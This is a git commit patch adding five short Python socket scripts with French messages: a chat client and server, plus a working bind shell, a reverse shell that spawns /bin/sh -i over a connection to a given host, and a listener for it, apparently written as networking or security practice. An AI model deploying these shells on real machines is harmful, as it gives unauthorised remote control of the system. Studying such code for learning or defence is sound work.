From ec8893a097a6c0fffebd7db9e4a5568a3bf4df47 Mon Sep 17 00:00:00 2001 From: jerome Date: Sun, 12 Oct 2025 17:41:43 +0200 Subject: organisation --- sockets/bindshell.py | 31 +++++++++++++++++++++++++++++++ sockets/chat_client.py | 26 ++++++++++++++++++++++++++ sockets/chat_server.py | 29 +++++++++++++++++++++++++++++ sockets/reverseshell.py | 18 ++++++++++++++++++ sockets/reverseshell_listener.py | 36 ++++++++++++++++++++++++++++++++++++ 5 files changed, 140 insertions(+) create mode 100644 sockets/bindshell.py create mode 100644 sockets/chat_client.py create mode 100644 sockets/chat_server.py create mode 100644 sockets/reverseshell.py create mode 100644 sockets/reverseshell_listener.py (limited to 'sockets') diff --git a/sockets/bindshell.py b/sockets/bindshell.py new file mode 100644 index 0000000..5213002 --- /dev/null +++ b/sockets/bindshell.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +import sys, os, socket + +def bindshell(port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse = os.popen(data.decode().strip()).read() + conn.sendall(str(reponse).encode()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + bindshell(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un port en agument") + + + + + + + diff --git a/sockets/chat_client.py b/sockets/chat_client.py new file mode 100644 index 0000000..affc1d3 --- /dev/null +++ b/sockets/chat_client.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 + +import sys,socket,os + +def chat_client(host,port): + whoami = os.getenv("USER") + try: + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.connect((host,port)) + while True: + message = input("moi > ") + message = whoami+" > "+message # à commenter pour le bindshell + s.sendall(message.encode()) + data = s.recv(1024) + print(data.decode().strip()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_client(sys.argv[1],int(sys.argv[2])) + except IndexError: + print(f"{sys.argv[0]} demande un hôte où se connecter et un numéro de port") + diff --git a/sockets/chat_server.py b/sockets/chat_server.py new file mode 100644 index 0000000..aecf8c9 --- /dev/null +++ b/sockets/chat_server.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 + +import sys,socket,os + +def chat_server(port): + whoami = os.getenv("USER") + try: + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + print(f"Connexion depuis {addr[0]} sur le port {addr[1]}") + while True: + data = conn.recv(1024) + print(data.decode()) + reponse = input("moi > ") + reponse = whoami+" > "+reponse + conn.sendall(reponse.encode().strip()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_server(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un numéro de port en argument") + diff --git a/sockets/reverseshell.py b/sockets/reverseshell.py new file mode 100644 index 0000000..fc7e860 --- /dev/null +++ b/sockets/reverseshell.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +import sys, os, socket + +def reverseshell(host,port): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.connect((host,port)) + os.dup2(s.fileno(),0) + os.dup2(s.fileno(),1) + os.dup2(s.fileno(),2) + os.system("/bin/sh -i") + +if __name__ == "__main__": + try: + reverseshell(sys.argv[1],int(sys.argv[2])) + except IndexError: + print(f"{sys.argv[0]} demande un hôte et un port en agument") + diff --git a/sockets/reverseshell_listener.py b/sockets/reverseshell_listener.py new file mode 100644 index 0000000..23eb39a --- /dev/null +++ b/sockets/reverseshell_listener.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import sys,socket,time + +def chat_server(port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + print(f"Connexion depuis {addr[0]} sur le port {addr[1]}") + while True: + data = conn.recv(4096) + print(data.decode(),end="") + command = input() + command += "\n" + conn.send(command.encode()) + time.sleep(0.1) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + chat_server(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un port en agument") + + + + + + + + -- cgit v1.2.3